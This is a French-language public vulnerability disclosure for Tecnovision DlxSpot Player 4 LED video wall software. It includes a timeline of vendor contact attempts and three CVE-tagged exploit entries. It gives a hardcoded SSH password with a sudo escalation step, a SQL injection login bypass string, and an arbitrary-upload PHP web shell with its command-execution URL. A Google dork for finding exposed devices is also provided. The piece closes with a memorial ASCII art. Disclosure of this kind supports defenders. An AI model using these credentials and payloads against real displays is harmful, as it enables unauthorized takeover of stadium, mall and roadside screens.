Vulnérabilités et exploits des murs vidéo LED Tecnovision. De l'injection SQL à l'accès root complet.

Introduction :

Tecnovision est un fabricant de murs vidéo LED utilisés dans les arènes (par exemple, le stade de Twickenham), les salles de concert, les centres commerciaux, comme panneaux de signalisation routière et bien plus encore. DlxSpot Player 4 est le logiciel de contrôle de certains de ces murs LED. Voici les exploits non corrigés que j'ai découverts et qui mènent (ha !) de l'injection SQL à l'accès root complet. (Veuillez noter que le mot de passe codé en dur a été la dernière découverte ; ils sont simplement triés dans cette liste selon les numéros CVE qui leur ont été attribués) Merci d'avoir pris le temps de lire ce document. Si vous avez des questions, contactez-moi sur Twitter @unknownpwn

Je dédie ce travail à mon ami et beau-frère, récemment décédé, Marcus Åström. Repose en paix. 1994-04-05 ✞ 2017-09-11

CHRONOLOGIE :

2017-05-14 - Découverte des vulnérabilités.
2017-05-15 - Contact de Tecnovision via le formulaire de contact sur la page d'accueil du fabricant.
2017-06-01 - Pas de réponse, nouvelle tentative de contact via plusieurs formulaires de contact sur la page d'accueil.
2017-08-10 - Contact des Common Vulnerabilities and Exposures (CVE) pour demander l'attribution de numéros CVE.
2017-08-17 - Trois numéros CVE ont été attribués aux vulnérabilités découvertes.
2017-08-22 - Avec l'aide d'un collègue hacker et ami, byt3bl33d3r, envoi d'un e-mail en italien à l'entreprise.
2017-09-18 - Pas de réponse, divulgation publique complète.

1. Mot de passe SSH root codé en dur.

# Exploit Title: DlxSpot - Player4 LED video wall - Hardcoded Root SSH Password.
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom 
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12928
# Linked CVE's: CVE-2017-12929, CVE-2017-12930

Mot de passe codé en dur pour tous les DlxSpot Player 4, accessibles via SSH sur le port 22 par défaut. La connexion root est désactivée.

nom d'utilisateur : dlxuser mot de passe : tecn0visi0n

Après la connexion, exécutez sudo su avec le même mot de passe pour élever les privilèges jusqu'à root.

2. Injection SQL dans l'interface d'administration

# Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL Injection
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12930
# Linked CVE's: CVE-2017-12928, CVE-2017-12929

DlxSpot Player 4, dans les versions supérieures à 1.5.10, souffre d'une vulnérabilité d'injection SQL dans l'interface d'administration et est exploitable avec l'injection suivante.

nom d'utilisateur : admin mot de passe : x' or 'x'='x

3. Téléversement arbitraire de fichier menant à une RCE

# Exploit Title: DlxSpot - Player4 LED video wall - Arbitrary File Upload to RCE
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12929
# Linked CVE's: CVE-2017-12928, CVE-2017-12930.

DlxSpot Player 4 - Téléversement arbitraire de fichier sans restriction dans resource.php menant à une exécution de commandes à distance.

Rendez-vous sur http://host/resource.php et téléversez un shell PHP. Par exemple : <?php system($_GET["c"]); ?>
RCE via http://host/resource/source/shell.php?c=id
Sortie : www-data

MMMMMMMMWXd;'  .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc..,cdKWMMMMMMMM
MMMMMMMXd:;.    ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl    .;cdKWMMMMMM
MMMMMWO;.;,   .  :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd.     ':';xWMMMMM
MMMMWx.',;'  'c.  oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk.  :;  .,;,.oNMMMM
MMMWd..l,''  .:'  .dWMMMMMMWWWXNMMMMMMNNWWWMMMMMMWk.  .:,  .,'l,.oNMMM
MMWk,;lc.., ..,;   .dNMMMMXdkO:xMMMMMWxc0kxNMMMMWk.   ,,.. ''.:o,.dWMM
MMXodxc' .,....;'   .lXMMWd';,.cXMMMMK:.;;'xWMMXo.   .;... ,. 'lxdl0MM
MXkoo;'.  ;,'' ';..   'dKk,....;0MMMMO'....;OXx,    .;' .'':. .,:xdONM
Nl';;...  :l:;,. ',..   .'..'..cONWWXO:.''..,.    .,'.',::lc. .'.:c;lX
0l;,'... .'l:.......'....      .;0WWk'.       ...'.....'.cl,. ...';;:k
Kx;.. .. ..', .,;,....'','.....,OWMMNd......',''....,:'..;,.. .. .':kK
x:... .. ...' .. ,l;.'. .. ...lKMMMMMWO:.'. .. ...:l'....,... .. ...ck
:,..  .. ...,... ..';,,''..,;;OWMMMMMMNo,:' .,',;;''. ...,... .. ...,c
,'.'. .. .. .',,.'..,.''..'..lNMMMMMMMM0;.''..;.., ...,''...  .. .'.',
c',c. .. .. .;c;':,.:'....;::xXMMMMMMMMOl;;,....;:.;,'cc, ..  '. .l'':
k;,,. .'. ...;'';::,,,.',;OXNWWMMMMMMMMWNX0l',..:,,lc;':, .. .'  .c,;k
k:'..  ;, ...;..,.'ll:ckkxXMMMMMMMMMMMMMMMWkdxo::l:',,.'; .. ,,  .'':O
0c..'  lo...'c.'c..kNOxXMWWMMMM R I P MMMMWNWWOx0K: ;:.;:....o; .'.'l0
Xl..;. o0;.':o,.dc.kMWNWMMMMMMMMMMMMMMMMMMMMMWNNMX:.d:.lc'. c0; ', .xX
Wl ,k:.ckd..oOc.o0cdWMMMMMMM M A R C U S MMMMMMMM0:dO'.xx:.,kO, ll..kM
Nc.okl,::ol'cxd,;KK0WMMMMMMMMMMMMMMMMMMMMMMMMMMMM0OXd.ckx;'dol,,kk,.xM
Nc;c.:ol..loc:dx:kMWMMMMMMM  A S T R O M  MMMMMMWWXccklccoc.:ll:ll'xMM
Noc' .oo' .lo':KO0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKxKo,lkc  lk: .::kM
NOx' .',,  ..  .dWMMMM 1994-04-05 ✞ 2017-09-11 MMMMWWO' ';. .::'  cdOM
WN0, ,;.,. ... .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:  .. .;.., .dKXM
MMN: lx..;. .,. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc  ''  ,,.co..OWWM
MMWd'lk:.':. 'c' ,0WMMMMMMM FOREVER LOVED MMMMMMMMXc .:;  ;;.'kx.:XMMM
MMW0dlcc,.;l. ,xd,;OWMMMMM NEVER FORGOTTEN MMMMMW0:.cd: .::..cdocxWMMM
MMNo;,:;';'co' 'kXkkXMMMMMMMMMMMMMMMMMMMMMMMMMMMXxx0O; .ll',;::cokNMMM
MMX: .l: .,co:'..dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWk'.'ldc;'.:c. :XMMM
MM0' 'Ol   cl..;:,lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,,,.'oc.  ox. ;KMMM
MWd..xNl  .lc  ,0KdxXMMMMMMMMMMMMMMMMMMMMMMMMMMWKdo0k'  lc   dXc .OMMM
WO;:OWNc  .kd  .OMMNNWMMMMMMMMMMMMMMMMMMMMMMMMMWXNWMx. .xd.  oWXc.cXMM
WK0NMMK,  cNx. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. '00'  lNMNOd0WM
MMMMMMk. ,0Mk. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. ,KWo. ;KMMMMMMM
MMMMMNc 'OWMk..dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ;XMXc .kMMMMMMM
MMMMMk';0WMMk':XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx.;XMMXc.cNMMMMMM
MMMMXddXMMMM0xKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdoNMMMNd:OMMMMMM
MMMMNXWMMMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNXWMMMMWOkNMMMMM

unknownpwn.github.io